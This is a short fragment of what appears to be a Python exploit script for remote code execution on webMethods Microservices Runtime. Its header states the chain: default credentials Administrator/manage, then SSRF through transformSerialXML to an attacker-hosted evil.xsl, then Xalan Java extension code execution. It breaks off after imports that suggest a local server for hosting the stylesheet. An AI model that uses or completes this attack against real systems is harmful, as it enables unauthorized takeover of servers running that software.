webMethods MSR XSLT Xalan default credentials RCE

Administrator/manage Basic auth; SSRF to attacker-hosted evil.xsl via transformSerialXML. """webMethods MSR default creds XSLT Xalan Java extension RCE.""" from future import annotations import base64 import html import http.server import re import socketserver import threading import time from...